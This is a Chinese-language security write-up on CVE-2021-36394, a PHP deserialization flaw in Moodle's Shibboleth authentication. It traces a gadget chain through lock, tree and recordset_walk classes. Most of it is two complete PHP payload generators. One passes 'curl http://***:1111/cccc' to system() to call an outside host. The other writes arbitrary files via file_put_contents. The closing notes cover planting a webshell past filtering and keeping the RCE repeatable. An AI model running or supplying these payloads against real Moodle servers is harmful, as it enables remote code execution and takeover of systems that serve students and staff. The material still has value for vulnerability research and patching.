CVE-2021-36394-Moodle Shibboleth PHP反序列化利用鏈構造之二
引言
之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈:
最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。
利用鏈構造
和前面實現修改管理員密碼的利用鏈一樣,觸發點還是定在`core\lock\lock#`類,`__destruct`函數定義如下:

存在字符串拼接,并且參數`$this->key`可控,現在就需要尋找`__toString`函數。

注意到`core_availability\tree#__toString`:

里面存在`foreach`遍歷,`$this->children`可控,搜索`current`函數。

注意到`core\dml\recordset_walk#current`:

存在`call_user_func`調用,是潛在的可用對象。參數`$this->callback`、`$this->callbackextra`都可控,重點分析下參數`$this->recordset->current()`,看下定義:

可見`$this->recordset`應該繼承于`moodle_recordset`這樣一個抽象類,`moodle_recordset`繼承于接口`Iterator`,先找下`moodle_recordset`全部子類:

從上面所以潛在的子類來分析,以位于`question/engine/tests/helpers.php`的`question_test_recordset`類進行測試,構造如下生成代碼:
<?php
namespace core\lock {
class lock {
public function __construct($class)
{
$this->key = $class;
}
}
}
namespace core_availability{
class tree {
public function __construct($class)
{
$this->children = $class;
}
}
}
namespace core\dml{
class recordset_walk {
public function __construct($class)
{
$this->recordset = $class;
$this->callbackextra = "test";
$this->callback = "system";
}
}
}
namespace {
class question_test_recordset{
public function __construct(){
$this->records = array("curl http://***:1111/cccc");
}
}
$recordset=new question_test_recordset();
$walk = new core\dml\recordset_walk($recordset);
$tree = new core_availability\tree($walk);
$lock = new core\lock\lock($tree);
echo serialize($lock);
}
發現Moodle并沒有加載這個類,反序列化操作中`$this->children`為`null`,無法觸發`current`函數。這個地方卡住很久,擴大到實現接口`Iterator`的類,最后定位`question/engine/questionusage.php`中的類`question_attempt_iterator`,同樣這個類默認Moodle也沒有加載,但是我們找到一個輔助類`core_question_external`:


寫文件Gadget
可以通過`question_attempt_iterator`類進行輔助,構造一個文件寫的Gadget代碼如下:
<?php
namespace core\lock {
class lock {
public function __construct($class)
{
$this->key = $class;
}
}
}
namespace core_availability{
class tree {
public function __construct($class)
{
$this->children = $class;
}
}
}
namespace core\dml{
class recordset_walk {
public function __construct($class)
{
$this->recordset = $class;
$this->callbackextra = "aaaaaaaa";
$this->callback = "file_put_contents";
}
}
}
namespace {
class question_attempt_iterator{
public function __construct($class)
{
$this->slots = array(
"xxx" => "key"
);
$this->quba = $class;
}
}
class question_usage_by_activity{
public function __construct()
{
$this->questionattempts = array(
"key" => "aaaa.php"
);
}
}
class core_question_external{}
$add_lib = new core_question_external();
$activity = new question_usage_by_activity();
$iterator = new question_attempt_iterator($activity);
$walk = new core\dml\recordset_walk($iterator);
$tree = new core_availability\tree($walk);
$lock = new core\lock\lock($tree);
$arr = array($add_lib, $lock);
echo serialize($arr);
}
效果:

后記
由于存在過濾,直接寫入php webshell是不行的,但是結合實際情況,稍微轉換下還是可行的。這里需要補充說明的是,由于在反序列化時,默認會將全部`sess_***`文件循環進行處理,所以在創建一個session文件后,應該主動調用`/login/logout.php`完成session注銷(刪除對應`sess_***`文件),否則RCE可能只有第一次有效。
由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。